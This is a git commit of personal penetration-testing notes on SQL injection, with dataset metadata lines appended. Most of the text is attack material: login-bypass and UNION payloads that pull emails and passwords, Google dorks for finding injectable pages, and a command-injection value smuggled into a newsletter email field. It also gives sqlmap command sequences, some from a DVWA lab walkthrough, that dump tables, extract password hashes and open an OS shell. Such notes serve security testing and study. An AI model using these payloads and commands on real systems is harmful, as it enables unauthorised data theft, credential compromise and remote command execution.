<commit_before>SQL Injection


Check for SQLi by adding and single quote or the following: ‘ or 1=1--<space>

http://www.target.com/index.php?val=100’ 
http://www.target.com/index.php?val=100’ or ‘1’=’1 

Username: ' or 1=1--<space>
Password:

Try to login as a specific user.
Username: bob
Password: ' or (1=1 and username = 'bob')--<space>

Database version
Username: +convert(varchar,convert(int,@@version))+
------------------------------------------------------------------------------------------------------

# Google Dorks

inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
------------------------------------------------------------------------------------------------------

SQL databases interpret the single quote character as the boundary between code and data. It assumes that 
anything following a single quote is code that it needs to run and anything encapsulated by a quote is data.

Example: SELECT * FROM products WHERE price < '100' ORDER BY description;

' and 1=0/@@version;--
' and 1=0/user;--
' having 1'='1
' GROUPED BY productid having '1'='1
' GROUPED BY productid,name having '1'='1
------------------------------------------------------------------------------------------------------

MS-SQL server concatenates numbers, it does not add them. '10' + '0' would equal 100 not 10.
 
SELECT * FROM table1 WHERE condition1
union all

SELECT * FROM table2 WHERE condition2

OS - @@version
  Server instances - @@servername
    Databases
      Tables
        Columns

SELECT name FROM master..sysdatabases
------------------------------------------------------------------------------------------------------

http://target.com/bookservice/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))—
http://target.com/article.aspx?article_id=0+UNION+SELECT+EMAIL,+USERID,+PASSWORD+FROM+USERS
Newsletter signup > Subscribe:  <EMAIL> & ipconfig > C:\inetpub\wwwroot\Book\test.txt
------------------------------------------------------------------------------------------------------

Use Burp to trap a request. Copy the request to /root/tmp.

sqlmap -r /root/tmp
sqlmap -r /root/tmp -p <parameter> --current-user      Show the current user that the database is running as
sqlmap -r /root/tmp --dbs                              Search for all databases
sqlmap -r /root/tmp -D <database> --tables             Show all tables in database
sqlmap -r /root/tmp -D <database> -T <table> --dump    Show all data in table
<commit_msg>Updated sqli notes.<commit_after>SQL Injection


Check for SQLi by adding and single quote or the following: ‘ or 1=1--<space>

http://www.target.com/index.php?val=100’ 
http://www.target.com/index.php?val=100’ or ‘1’=’1 

Username: ' or 1=1--<space>
Password:

Try to login as a specific user.
Username: bob
Password: ' or (1=1 and username = 'bob')--<space>

Database version
Username: +convert(varchar,convert(int,@@version))+
------------------------------------------------------------------------------------------------------

# Google Dorks

inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
------------------------------------------------------------------------------------------------------

SQL databases interpret the single quote character as the boundary between code and data. It assumes that 
anything following a single quote is code that it needs to run and anything encapsulated by a quote is data.

Example: SELECT * FROM products WHERE price < '100' ORDER BY description;

' and 1=0/@@version;--
' and 1=0/user;--
' having 1'='1
' GROUPED BY productid having '1'='1
' GROUPED BY productid,name having '1'='1
------------------------------------------------------------------------------------------------------

MS-SQL server concatenates numbers, it does not add them. '10' + '0' would equal 100 not 10.
 
SELECT * FROM table1 WHERE condition1
union all

SELECT * FROM table2 WHERE condition2

OS - @@version
  Server instances - @@servername
    Databases
      Tables
        Columns

SELECT name FROM master..sysdatabases
------------------------------------------------------------------------------------------------------

http://target.com/bookservice/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))—
http://target.com/article.aspx?article_id=0+UNION+SELECT+EMAIL,+USERID,+PASSWORD+FROM+USERS
Newsletter signup > Subscribe:  <EMAIL> & ipconfig > C:\inetpub\wwwroot\Book\test.txt
------------------------------------------------------------------------------------------------------

Use Burp to trap a request. Copy the request to /root/tmp.

sqlmap -r /root/tmp
sqlmap -r /root/tmp -p <parameter> --current-user        Show the user the web server is using to talk to the db
sqlmap -r /root/tmp -p <parameter> -U <user> --passwords
sqlmap -r /root/tmp --dbs                                Search for all dbs
sqlmap -r /root/tmp -D <database> --tables               Show all tables in db
sqlmap -r /root/tmp -D <database> -T <table> --dump      Show all data in table
------------------------------------------------------------------------------------------------------

From: http://niiconsulting.com/checkmate/2014/01/from-sql-injection-to-0wnage-using-sqlmap/

sqlmap.py --url=”http://target.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
--cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

sqlmap.py --url="http://target.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" --dbs

sqlmap.py --url="http://target.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa --tables

sqlmap.py --url="http://target.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users --columns

sqlmap.py --url="http://target.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
--cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users 
-C user_id,user,password --dump

sqlmap.py --url="http://target.com/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" 
--os-shell
------------------------------------------------------------------------------------------------------

{'fraction_non_alphanumeric': 0.2976758993950971, 'fraction_numerical': 0.033110474371219355, 'mean_word_length': 1.769061260467166, 'pattern_counts': {'":': 0, '<': 23, '<?xml version=': 0, '>': 25, 'https://': 0, 'lorem ipsum': 0, 'www.': 6, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '4960273', 'n_tokens_mistral': 1909, 'n_tokens_neox': 1742, 'n_words': 507}